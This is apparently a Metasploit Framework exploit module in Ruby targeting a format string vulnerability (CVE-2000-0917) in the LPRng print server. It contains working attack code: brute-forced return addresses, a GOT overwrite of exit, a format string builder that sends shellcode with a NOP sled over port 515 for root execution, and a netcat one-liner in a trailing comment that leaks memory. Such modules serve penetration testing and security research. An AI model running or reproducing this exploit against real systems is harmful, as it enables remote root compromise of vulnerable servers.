LPRng use_syslog Remote Format String Vulnerability



##

# $Id: lprng_format_string.rb 9666 2010-07-03 01:09:32Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Brute
    include Msf::Exploit::FormatString

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'LPRng use_syslog Remote Format String Vulnerability',
            'Description'    => %q{
                    This module exploits a format string vulnerability in the LPRng print server.
                This vulnerability was discovered by Chris Evans. There was a publicly
                circulating worm targeting this vulnerability, which prompted RedHat to pull
                their 7.0 release. They consequently re-released it as "7.0-respin".
            },
            'Author'         => [ 'jduck' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9666 $',
            'References'     =>
                [
                    [ 'CVE', '2000-0917' ],
                    [ 'OSVDB', '421' ],
                    [ 'BID', '1712' ],
                    [ 'US-CERT-VU', '382365' ],
                    [ 'URL', 'http://www.cert.org/advisories/CA-2000-22.html' ],
                    [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=17756' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/226' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/227' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/230' ]
                ],
            'Platform'       => 'linux',
            'Arch'           => ARCH_X86,
            'Privileged'     => true, # root
            'DefaultOptions' =>
                {
                    'PrependSetresuid' => true
                },
            'Payload'        =>
                {
                    'Space'    => 130, # buffer size on caldera is 180! (need ~50 for fmt)
                    'BadChars' => "\x00\x0a\x20\x25",
                },
            'Targets'        =>
                [
                    # tested OK - jjd
                    [ 'Caldera OpenLinux 2.3 Bruteforce',
                        {
                            'Platform'   => 'linux',
                            'NumPops'    => 243,
                            'FlowHook'   => 0x80992d4,  # GOT of exit
                            # (0x809c180+(41+4+10+48)) - data segment, but gets corrupted
                            'Bruteforce' =>
                                {
                                    'Start' => { 'Ret' => 0xcffffff4 },
                                    'Stop'  => { 'Ret' => 0x7fffe004 },
                                    'Step'  => 16
                                }
                        }
                    ],
=begin
                    # untested (from public exploits)
                    [ 'Slackware 7.0 LPRng-3.6.22.tgz - started from shell',
                        {
                            'NumPops'     => 299,
                            'Ret'        => 0xbffff640,
                            'FlowHook'    => 0xbfffee30
                        }
                    ],
                    [ 'RedHat 7.0 (Guinness) with LPRng-3.6.22/23/24-1 from rpm - glibc-2.2-5',
                        {
                            'NumPops'     => 304,
                            'Ret'        => 0xbffff920,
                            'FlowHook'    => 0xbffff0f0
                        }
                    ],
                    [ 'RedHat 7.0 - Guinesss',
                        {
                            'NumPops'     => 300,
                            'Ret'        => 0x41424344,
                            'FlowHook'    => 0xbffff3ec
                        }
                    ],
                    [ 'RedHat 7.0 - Guinesss-dev',
                        {
                            'NumPops'     => 300,
                            'Ret'        => 0x41424344,
                            'FlowHook'    => 0xbffff12c
                        }
                    ],
=end
                    # ...
                    [ 'Debug',
                        {
                            'NumPops'     => 1, # sure to miss.
                            'Ret'        => 0x41424344,
                            'FlowHook'    => 0x45464748
                        }
                    ]
                ],
            # 'DefaultTarget' => 0,
            'DisclosureDate' => 'Sep 25 2000'))

        register_options( [ Opt::RPORT(515) ], self.class )
    end


    def exploit
        # we want to use DPA for this one :)
        fmtstr_set_caps(false, true)

        # check syslog to see which number hits 41414141
=begin
        400.times { |x|
            connect
            buf = "aAAAABBBB|%%%u$x|%u\n" % [x+1, x+1]
            sock.put(buf)
            #handler
            disconnect
        }
=end
        print_status("Trying target #{target.name} ..")

        super
    end


    def brute_exploit(addrs)

        #print_status("Trying target #{target.name} - addr 0x%x..." % addrs['Ret'])

        printed = "Service_connection: bad request line '\\35" # + "'XXXYYYYZZZZ...
        num_start = printed.length + 2 + 4

        # write 'ret' addr to flowhook (execute shellcode)
        # NOTE: the resulting two writes must be done at the same time

        # characters (chr(10) > X > chr(99)) will screw up alignment (\XXX in syslog)
        fmtbuf = "_" * 4
        fmtbuf << generate_fmt_two_shorts(num_start, target['FlowHook'], addrs['Ret'])
        #print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")

        # append payload and newline
        #fmtbuf << payload.encoded
        fmtbuf << "\x90" * 32
        fmtbuf << Rex::Text.charset_exclude(payload_badchars)
        fmtbuf << "\n"

        print_status(" writing 0x%x to 0x%x" % [addrs['Ret'], target['FlowHook']])

        connect
        #print_status("Sleeping, attach now!!")
        #select(nil,nil,nil,5)

        sock.put(fmtbuf)

        handler
        disconnect

    end

end


=begin

HRM!

The following causes info leakage!

bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC

There are various other ways to trigger the vulnerability. LPD uses the single-byte commands
0x01 -> 0x09...

It's unclear if there is a way to auto-detect the lpd version via LPD commands.

=end